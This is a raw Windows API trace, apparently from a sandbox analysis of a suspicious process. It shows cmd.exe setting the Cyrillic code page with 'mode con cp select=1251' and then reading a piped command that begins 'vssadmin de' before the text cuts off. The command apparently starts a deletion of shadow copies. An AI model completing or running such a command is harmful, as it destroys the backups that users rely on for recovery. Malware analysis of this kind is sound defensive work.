GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0163.533] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0163.533] GetProcessHeap () returned 0x16fa0dc0000 [0163.533] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x1b6) returned 0x16fa0dc77c0 [0163.533] GetProcessHeap () returned 0x16fa0dc0000 [0163.533] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x35c) returned 0x16fa0dd8ee0 [0163.542] GetProcessHeap () returned 0x16fa0dc0000 [0163.542] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dd8ee0, Size=0x1b8) returned 0x16fa0dd8ee0 [0163.542] GetProcessHeap () returned 0x16fa0dc0000 [0163.542] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dd8ee0) returned 0x1b8 [0163.542] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0163.542] GetProcessHeap () returned 0x16fa0dc0000 [0163.542] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xe8) returned 0x16fa0dc7980 [0163.544] GetProcessHeap () returned 0x16fa0dc0000 [0163.544] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dc7980, Size=0x7e) returned 0x16fa0dc7980 [0163.544] GetProcessHeap () returned 0x16fa0dc0000 [0163.544] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dc7980) returned 0x7e [0163.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0163.545] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x35b31fe9c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x35b31fe9c0) returned 0x16fa0dc7a10 [0163.545] GetProcessHeap () returned 0x16fa0dc0000 [0163.545] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, Size=0x28) returned 0x16fa0dc64e0 [0163.545] FindClose (in: hFindFile=0x16fa0dc7a10 | out: hFindFile=0x16fa0dc7a10) returned 1 [0163.545] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x35b31fe9c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x35b31fe9c0) returned 0x16fa0dc6510 [0163.545] GetProcessHeap () returned 0x16fa0dc0000 [0163.545] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dc64e0, Size=0x8) returned 0x16fa0dc64e0 [0163.545] FindClose (in: hFindFile=0x16fa0dc6510 | out: hFindFile=0x16fa0dc6510) returned 1 [0163.545] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0163.545] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0163.545] ??_V@YAXPEAX@Z () returned 0x1 [0163.546] GetConsoleTitleW (in: lpConsoleTitle=0x35b31fef40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0164.058] GetProcessHeap () returned 0x16fa0dc0000 [0164.058] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x21c) returned 0x16fa0dd90b0 [0164.058] GetConsoleTitleW (in: lpConsoleTitle=0x16fa0dd90c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0164.633] GetProcessHeap () returned 0x16fa0dc0000 [0164.633] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dd90b0, Size=0x8c) returned 0x16fa0dd90b0 [0164.633] GetProcessHeap () returned 0x16fa0dc0000 [0164.633] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dd90b0) returned 0x8c [0164.633] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0165.523] GetProcessHeap () returned 0x16fa0dc0000 [0165.523] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd90b0) returned 1 [0165.523] InitializeProcThreadAttributeList (in: lpAttributeList=0x35b31fee60, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x35b31fed50 | out: lpAttributeList=0x35b31fee60, lpSize=0x35b31fed50) returned 1 [0165.523] UpdateProcThreadAttribute (in: lpAttributeList=0x35b31fee60, dwFlags=0x0, Attribute=0x60001, lpValue=0x35b31fed3c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x35b31fee60, lpPreviousValue=0x0) returned 1 [0165.523] GetStartupInfoW (in: lpStartupInfo=0x35b31fedf0 | out: lpStartupInfo=0x35b31fedf0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0165.523] GetProcessHeap () returned 0x16fa0dc0000 [0165.523] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x20) returned 0x16fa0dc6510 [0165.523] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0165.523] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0165.524] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0165.525] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0165.525] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0165.525] GetProcessHeap () returned 0x16fa0dc0000 [0165.525] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc6510) returned 1 [0165.525] GetProcessHeap () returned 0x16fa0dc0000 [0165.525] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x12) returned 0x16fa0dc6510 [0165.525] _get_osfhandle (_FileHandle=1) returned 0x254 [0165.525] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0165.525] _get_osfhandle (_FileHandle=0) returned 0x248 [0165.525] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0165.525] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x35b31fed80*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x35b31fed58 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x35b31fed58*(hProcess=0x9c, hThread=0x98, dwProcessId=0xe58, dwThreadId=0xe5c)) returned 1 [0165.542] CloseHandle (hObject=0x98) returned 1 [0165.542] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0165.542] GetProcessHeap () returned 0x16fa0dc0000 [0165.542] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc6570) returned 1 [0165.542] GetEnvironmentStringsW () returned 0x16fa0dc6530* [0165.542] GetProcessHeap () returned 0x16fa0dc0000 [0165.542] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xafe) returned 0x16fa0dd9460 [0165.542] FreeEnvironmentStringsA (penv="=") returned 1 [0165.542] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff869840000 [0165.542] GetProcAddress (hModule=0x7ff869840000, lpProcName="NtQueryInformationProcess") returned 0x7ff8698e56b0 [0165.542] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x35b31fe258, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x35b31fe258, ReturnLength=0x0) returned 0x0 [0165.542] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0x2d1f36b000, lpBuffer=0x35b31fe290, nSize=0x7a0, lpNumberOfBytesRead=0x35b31fe250 | out: lpBuffer=0x35b31fe290*, lpNumberOfBytesRead=0x35b31fe250*=0x7a0) returned 1 [0165.544] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0168.493] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x35b31fecd8 | out: lpExitCode=0x35b31fecd8*=0x0) returned 1 [0168.493] CloseHandle (hObject=0x9c) returned 1 [0168.493] _vsnwprintf (in: _Buffer=0x35b31feea8, _BufferCount=0x13, _Format="%08X", _ArgList=0x35b31fece8 | out: _Buffer="00000000") returned 8 [0168.494] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0168.494] GetProcessHeap () returned 0x16fa0dc0000 [0168.494] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd9460) returned 1 [0168.494] GetEnvironmentStringsW () returned 0x16fa0dd9460* [0168.495] GetProcessHeap () returned 0x16fa0dc0000 [0168.495] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb24) returned 0x16fa0dd9f90 [0168.495] FreeEnvironmentStringsA (penv="=") returned 1 [0168.495] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0168.495] GetProcessHeap () returned 0x16fa0dc0000 [0168.495] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd9f90) returned 1 [0168.495] GetEnvironmentStringsW () returned 0x16fa0dd9460* [0168.495] GetProcessHeap () returned 0x16fa0dc0000 [0168.495] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb24) returned 0x16fa0dd9f90 [0168.495] FreeEnvironmentStringsA (penv="=") returned 1 [0168.495] GetProcessHeap () returned 0x16fa0dc0000 [0168.495] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc6510) returned 1 [0168.495] DeleteProcThreadAttributeList (in: lpAttributeList=0x35b31fee60 | out: lpAttributeList=0x35b31fee60) [0168.496] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0168.516] ??_V@YAXPEAX@Z () returned 0x1 [0168.516] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.516] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0168.516] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.516] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75153fc08 | out: lpMode=0x7ff75153fc08) returned 0 [0168.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.516] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75153fc0c | out: lpMode=0x7ff75153fc0c) returned 0 [0168.517] GetConsoleOutputCP () returned 0x4e3 [0168.518] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75153fbb0 | out: lpCPInfo=0x7ff75153fbb0) returned 1 [0168.518] SetThreadUILanguage (LangId=0x0) returned 0x409 [0168.519] GetProcessHeap () returned 0x16fa0dc0000 [0168.519] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc7980) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd8ee0) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc77c0) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd8e80) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc6490) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc8e90) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc7610) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc75e0) returned 1 [0168.520] GetProcessHeap () returned 0x16fa0dc0000 [0168.520] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc7340) returned 1 [0168.520] _vsnwprintf (in: _Buffer=0x7ff751547f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x35b31ff288 | out: _Buffer="\r\n") returned 2 [0168.520] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.520] GetFileType (hFile=0x254) returned 0x3 [0168.520] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.520] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0168.520] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x35b31ff258, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff258*=0x2, lpOverlapped=0x0) returned 1 [0168.520] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0168.520] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16fa0ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0168.521] _vsnwprintf (in: _Buffer=0x16fa0ed0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x35b31ff298 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0168.521] _vsnwprintf (in: _Buffer=0x16fa0ed0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x35b31ff298 | out: _Buffer=">") returned 1 [0168.521] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.521] GetFileType (hFile=0x254) returned 0x3 [0168.521] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.521] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0168.521] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x35b31ff288, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff288*=0x14, lpOverlapped=0x0) returned 1 [0168.521] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.521] GetFileType (hFile=0x248) returned 0x3 [0168.521] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.521] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.521] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.522] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0168.522] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.522] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.522] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.522] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0168.522] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.522] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.522] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.523] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0168.523] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.523] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.523] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.523] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0168.523] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.523] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.523] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.523] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0168.523] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.523] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.523] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.523] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0168.523] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.523] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.523] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.523] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0168.523] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.523] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.524] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.524] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0168.524] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.524] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.524] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.524] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0168.524] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.524] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.524] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.524] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0168.524] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.524] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.524] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.524] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0168.524] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.524] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.524] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, 